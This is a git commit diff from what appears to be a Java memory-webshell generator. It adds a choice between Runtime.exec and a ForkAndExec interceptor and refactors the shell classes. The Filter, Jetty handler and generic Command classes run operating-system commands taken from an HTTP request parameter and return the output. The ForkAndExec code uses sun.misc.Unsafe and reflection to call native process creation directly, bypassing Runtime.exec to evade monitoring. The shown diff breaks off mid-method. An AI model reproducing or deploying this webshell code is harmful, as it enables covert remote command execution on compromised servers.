feat: support custom command implementation

This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent 88732d9a81
commit 34198a5c90
25 changed files with 291 additions and 1145 deletions
+1 -1
View File
@@ -48,7 +48,7 @@ dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') { implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat' exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
} }
implementation 'org.apache.commons:commons-lang3:3.+' implementation 'org.apache.commons:commons-lang3:3.17.0'
implementation 'org.springframework.boot:spring-boot-starter-undertow' implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok' compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools' developmentOnly 'org.springframework.boot:spring-boot-devtools'
@@ -1,5 +1,6 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
@@ -61,8 +62,11 @@ public class ConfigController {
return coreMap; return coreMap;
} }
@GetMapping("/command/encryptors") @GetMapping("/command/configs")
public List<CommandConfig.Encryptor> getCommandEncryptors() { public CommandConfigVO getCommandConfigs() {
return Arrays.stream(CommandConfig.Encryptor.values()).toList(); CommandConfigVO commandConfigVO = new CommandConfigVO();
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
} }
} }
@@ -29,6 +29,7 @@ public class GenerateRequest {
private String headerValue; private String headerValue;
private String shellClassBase64; private String shellClassBase64;
private String encryptor; private String encryptor;
private String implementationClass;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -50,6 +51,7 @@ public class GenerateRequest {
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.vo;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.Data;
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/25
*/
@Data
public class CommandConfigVO {
private List<CommandConfig.Encryptor> encryptors;
private List<CommandConfig.ImplementationClass> implementationClasses;
}
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
public static ImplementationClass fromString(String encryptor) {
if (encryptor != null && encryptor.equals("ForkAndExec")) {
return ForkAndExec;
}
return RuntimeExec;
}
}
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, DOUBLE_BASE64;
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;
import java.util.Collections; import java.util.Collections;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -68,6 +68,12 @@ public class CommandGenerator {
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
}
return builder; return builder;
} }
@@ -0,0 +1,107 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import sun.misc.Unsafe;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class ForkAndExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
try {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
} catch (Throwable e) {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2025/5/25
*/
public class RuntimeExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
}
}
@@ -1,173 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.objectweb.asm.*;
import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2025/3/30
*/
@ExtendWith(MockitoExtension.class)
public class CommandFilterChainASMTest {
@Mock
HttpServletRequest mockRequest;
@Mock
HttpServletResponse mockResponse;
Object instance;
@SuppressWarnings("all")
public static class CustomMethodVisitor extends MethodVisitor {
private final Type customEqualsType;
private final Type[] argumentTypes;
private final String className;
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
Command.paramName = "paramName";
className = Command.class.getName();
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@BeforeEach
@SneakyThrows
void setUp() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
Type[] argTypes = Type.getArgumentTypes(descriptor);
return new CustomMethodVisitor(mv, argTypes);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
Class<?> clazz = ClassUtils.defineClass(bytes2);
instance = spy(clazz.newInstance());
}
@Test
@SneakyThrows
void testInvokeParam() {
when(mockRequest.getParameter("paramName")).thenReturn("id");
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
String output = capturedOutput.toString(StandardCharsets.UTF_8);
assertTrue(output.contains("uid="));
verify(((FilterChainInterface) instance), never()).doFilterInternal();
}
@Test
@SneakyThrows
void testNotParameter() {
when(mockRequest.getParameter("paramName")).thenReturn(null);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
}
}
@@ -1,73 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.*;
import org.objectweb.asm.commons.AdviceAdapter;
import org.objectweb.asm.commons.Method;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandNormalASMTest {
@Test
@SneakyThrows
void test() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
}
static class Hello {
@Override
public boolean equals(Object obj) {
System.out.println("hello world");
return true;
}
}
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
private final Type customEqualsType;
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
super(Opcodes.ASM9, mv, access, name, descriptor);
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
}
@Override
protected void onMethodEnter() {
loadArgArray();
newInstance(customEqualsType);
dup();
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
swap();
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
Label skipReturnLabel = new Label();
mv.visitJumpInsn(IFEQ, skipReturnLabel);
mv.visitInsn(RETURN);
mark(skipReturnLabel);
}
}
}
@@ -1,11 +1,8 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import java.io.InputStream; import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** /**
* @author ReaJason * @author ReaJason
@@ -14,10 +11,14 @@ import java.lang.reflect.Method;
public class Command { public class Command {
public static String paramName; public static String paramName;
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
@@ -26,12 +27,7 @@ public class Command {
try { try {
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) { if (cmd != null) {
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -46,105 +42,6 @@ public class Command {
return false; return false;
} }
public InputStream getInputStream(String cmd) {
return null;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public Object unwrapRequest(Object request) { public Object unwrapRequest(Object request) {
Object internalRequest = request; Object internalRequest = request;
while (true) { while (true) {
@@ -1,31 +1,31 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.servlet.*; import javax.servlet.*;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class CommandFilter implements Filter { public class CommandFilter implements Filter {
public static String paramName; private static String paramName;
@Override @Override
public void init(FilterConfig filterConfig) throws ServletException { public void init(FilterConfig filterConfig) throws ServletException {
} }
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletRequest servletRequest = (HttpServletRequest) request;
@@ -33,12 +33,7 @@ public class CommandFilter implements Filter {
String cmd = getParam(servletRequest.getParameter(paramName)); String cmd = getParam(servletRequest.getParameter(paramName));
try { try {
if (cmd != null) { if (cmd != null) {
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = servletResponse.getOutputStream(); ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -53,101 +48,6 @@ public class CommandFilter implements Filter {
chain.doFilter(servletRequest, servletResponse); chain.doFilter(servletRequest, servletResponse);
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void destroy() { public void destroy() {
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
* @since 2025/5/15 * @since 2025/5/15
*/ */
public class CommandJettyHandler { public class CommandJettyHandler {
public static String paramName; private static String paramName;
public String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
@@ -46,12 +50,7 @@ public class CommandJettyHandler {
if (baseRequest != null) { if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
} }
InputStream inputStream = null; InputStream inputStream = getInputStream(cmd);
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;
@@ -65,99 +64,4 @@ public class CommandJettyHandler {
} }
return false; return false;
} }
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
